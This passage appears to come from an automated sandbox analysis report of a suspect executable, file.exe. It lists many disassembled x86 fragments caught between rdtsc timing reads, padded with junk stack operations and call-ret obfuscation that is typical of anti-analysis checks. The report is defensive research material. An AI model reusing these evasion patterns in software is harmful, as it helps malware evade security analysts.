Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7631AD second address: 76321C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F402CDD4F61h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F402CDD4F5Dh 0x0000001a jc 00007F402CDD4F56h 0x00000020 popad 0x00000021 push edi 0x00000022 jg 00007F402CDD4F56h 0x00000028 pop edi 0x00000029 popad 0x0000002a mov eax, dword ptr [eax] 0x0000002c jns 00007F402CDD4F69h 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push edi 0x0000003b pop edi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76321C second address: 763226 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763226 second address: 76327B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F402CDD4F62h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F402CDD4F58h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 or edi, dword ptr [ebp+122D2A1Fh] 0x0000002c lea ebx, dword ptr [ebp+12454C02h] 0x00000032 pushad 0x00000033 xor ch, FFFFFFA0h 0x00000036 mov dword ptr [ebp+122D1B19h], ebx 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76327B second address: 76327F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76327F second address: 76328C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F402CDD4F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76328C second address: 7632AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F402CC7E506h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jns 00007F402CC7E50Ch 0x00000014 jnp 00007F402CC7E506h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7632AA second address: 7632AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7632AE second address: 7632B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781E9E second address: 781EA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821A4 second address: 7821A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821A8 second address: 7821B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007F402CDD4F56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821B9 second address: 7821BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821BE second address: 7821CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F402CDD4F56h 0x00000009 jne 00007F402CDD4F56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821CF second address: 7821D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782342 second address: 782346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782346 second address: 782352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F402CC7E506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7829C7 second address: 7829E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F402CDD4F63h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7829E4 second address: 782A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F402CC7E514h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782A01 second address: 782A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782B59 second address: 782B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782B5D second address: 782B6D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F402CDD4F56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782B6D second address: 782B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782B71 second address: 782B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782CFB second address: 782D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7832B0 second address: 7832B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7832B4 second address: 7832D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a jne 00007F402CC7E508h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F402CC7E510h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783999 second address: 7839A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F402CDD4F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839A3 second address: 7839A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839A7 second address: 7839B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F402CDD4F5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839B5 second address: 7839DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F402CC7E511h 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d popad 0x0000000e jnp 00007F402CC7E553h 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F402CC7E506h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758BB2 second address: 758BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758BB8 second address: 758BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758BC2 second address: 758BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F402CDD4F56h 0x0000000a popad 0x0000000b js 00007F402CDD4F5Ch 0x00000011 jng 00007F402CDD4F56h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758BE3 second address: 758BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788CEF second address: 788CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788CF3 second address: 788D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DFED second address: 78E005 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F402CDD4F56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jl 00007F402CDD4F56h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E005 second address: 78E032 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F402CC7E517h 0x00000008 jmp 00007F402CC7E511h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E032 second address: 78E051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F402CDD4F68h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D6EA second address: 78D6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D6EE second address: 78D702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F402CDD4F5Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D829 second address: 78D82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D82F second address: 78D834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DB27 second address: 78DB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DB2D second address: 78DB48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F402CDD4F64h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DB48 second address: 78DB59 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F402CC7E508h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DB59 second address: 78DB5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DB5E second address: 78DB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DCBD second address: 78DCC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F402CDD4F56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DCC8 second address: 78DCFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F402CC7E506h 0x00000009 jmp 00007F402CC7E518h 0x0000000e jmp 00007F402CC7E514h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DE63 second address: 78DE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F402CDD4F65h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DE7C second address: 78DE9A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jl 00007F402CC7E506h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DE9A second address: 78DEBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F402CDD4F68h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791258 second address: 79126D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F402CC7E506h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79137B second address: 79138F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F402CDD4F56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79138F second address: 791393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79211E second address: 792128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F402CDD4F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7922A9 second address: 7922B3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F402CC7E50Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793307 second address: 79330B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7931C1 second address: 7931C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79330B second address: 793394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F402CDD4F58h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D1BF2h], eax 0x0000002a mov dword ptr [ebp+122D1BD6h], edx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F402CDD4F58h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c push edi 0x0000004d mov esi, 19F20691h 0x00000052 pop esi 0x00000053 mov edi, dword ptr [ebp+122D2A47h] 0x00000059 push 00000000h 0x0000005b jmp 00007F402CDD4F67h 0x00000060 xchg eax, ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 jng 00007F402CDD4F5Ch 0x00000069 jp 00007F402CDD4F56h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7931C6 second address: 7931E2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F402CC7E508h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F402CC7E50Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793394 second address: 793399 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7931E2 second address: 7931E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793C1B second address: 793C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794D2D second address: 794D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796390 second address: 796394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796394 second address: 7963AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F402CC7E50Dh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7963AD second address: 7963F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 or dword ptr [ebp+122D1EE9h], eax 0x0000000d push 00000000h 0x0000000f jmp 00007F402CDD4F67h 0x00000014 push 00000000h 0x00000016 movzx esi, dx 0x00000019 mov esi, dword ptr [ebp+122D299Bh] 0x0000001f xchg eax, ebx 0x00000020 jmp 00007F402CDD4F5Fh 0x00000025 push eax 0x00000026 push ebx 0x00000027 push edi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796158 second address: 796162 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796C6C second address: 796C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7978A3 second address: 797925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E510h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F402CC7E508h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1B14h], edi 0x0000002c je 00007F402CC7E50Ch 0x00000032 mov esi, dword ptr [ebp+122D2C97h] 0x00000038 push 00000000h 0x0000003a pushad 0x0000003b mov bx, 694Dh 0x0000003f popad 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F402CC7E508h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 0000001Ch 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c cmc 0x0000005d mov si, 59B2h 0x00000061 xchg eax, ebx 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 jbe 00007F402CC7E506h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797925 second address: 797964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007F402CDD4F56h 0x00000010 jnl 00007F402CDD4F56h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F402CDD4F62h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A398 second address: 79A3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F402CC7E506h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A3A4 second address: 79A3A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A3A8 second address: 79A3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jo 00007F402CC7E506h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A3BA second address: 79A3CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F402CDD4F5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A452 second address: 79A485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E50Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F402CC7E506h 0x00000010 jnl 00007F402CC7E506h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F402CC7E50Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B431 second address: 79B4CE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F402CDD4F58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F402CDD4F58h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 and edi, 7FF59DAFh 0x0000002d je 00007F402CDD4F5Ch 0x00000033 sub ebx, dword ptr [ebp+122D29D7h] 0x00000039 jmp 00007F402CDD4F63h 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push edx 0x00000043 call 00007F402CDD4F58h 0x00000048 pop edx 0x00000049 mov dword ptr [esp+04h], edx 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc edx 0x00000056 push edx 0x00000057 ret 0x00000058 pop edx 0x00000059 ret 0x0000005a mov edi, dword ptr [ebp+122D1C19h] 0x00000060 push 00000000h 0x00000062 jmp 00007F402CDD4F63h 0x00000067 xchg eax, esi 0x00000068 pushad 0x00000069 push ecx 0x0000006a push edi 0x0000006b pop edi 0x0000006c pop ecx 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A60D second address: 79A611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B4CE second address: 79B4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C3D5 second address: 79C45D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E50Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c jno 00007F402CC7E508h 0x00000012 pop edi 0x00000013 nop 0x00000014 mov di, 1109h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F402CC7E508h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 call 00007F402CC7E50Dh 0x00000039 mov ebx, dword ptr [ebp+122D307Bh] 0x0000003f pop ebx 0x00000040 mov edi, dword ptr [ebp+122D2BB7h] 0x00000046 push 00000000h 0x00000048 jmp 00007F402CC7E512h 0x0000004d xchg eax, esi 0x0000004e push esi 0x0000004f pushad 0x00000050 